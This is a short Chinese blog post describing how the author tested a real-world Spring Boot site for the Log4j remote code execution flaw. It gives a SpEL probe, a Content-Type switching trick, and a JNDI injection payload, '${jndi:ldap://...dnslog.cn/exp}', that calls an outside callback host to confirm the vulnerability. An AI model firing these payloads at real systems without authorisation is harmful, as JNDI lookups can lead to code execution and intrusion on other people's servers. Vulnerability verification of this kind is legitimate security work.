×

新闻动态 资料下载 源码审核

一次工作中真实环境的Log4j远程代码执行漏洞触发思路

0x_www 0x_www 发表于2022-01-28 12:19:16 浏览723 评论0

抢沙发发表评论

一次工作中真实环境的Log4j远程代码执行漏洞触发思路


Log4j漏洞验证很多都来自于靶场环境

那么真实环境如何去测试呢

这里就带来一个真实环境的Log4j远程代码执行漏洞触发思路


QQ截图20220128122140.jpg


一般情况下看到这种页面

就可以进行测试

这里需要注意

whitelabel error page SpEL RCE

也就是spring boot漏洞

但是这个漏洞相对鸡勒,需要至少知道一个触发参数

payload=${1*1}


我们看到这里默认是没有消息的

No message available

我们抓包

换成post发送


在这里把Content-Type: application/x-www-form-urlencoded换成Content-Type: application/json,随便构造一个假数据过去


QQ截图20220128122334.jpg



QQ截图20220128122350.jpg




出现错误

证明没有json正确解析payload

JSON parse error: Unrecognized token 'payload': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false'); nested exception is com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'payload': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false') at [Source: (PushbackInputStream); line: 1, column: 9]

证明是可用的

那么,我们就按照log4j漏洞的验证方式

来检测一下是否存在log4j漏洞

首先打开自己写的工具生成payload



图片1.png




生成一个可用的

payload=${jndi:ldap://m6drys.dnslog.cn/exp}

然后进行利用

这里需要注意,我们需要默认请求头

换成Content-Type: application/x-www-form-urlencoded

然后payload=exp

就是这样

我们来试试


QQ截图20220128122447.jpg




然后我们需要在dnslog看一下是否有回显


QQ截图20220128122540.jpg



漏洞验证完毕...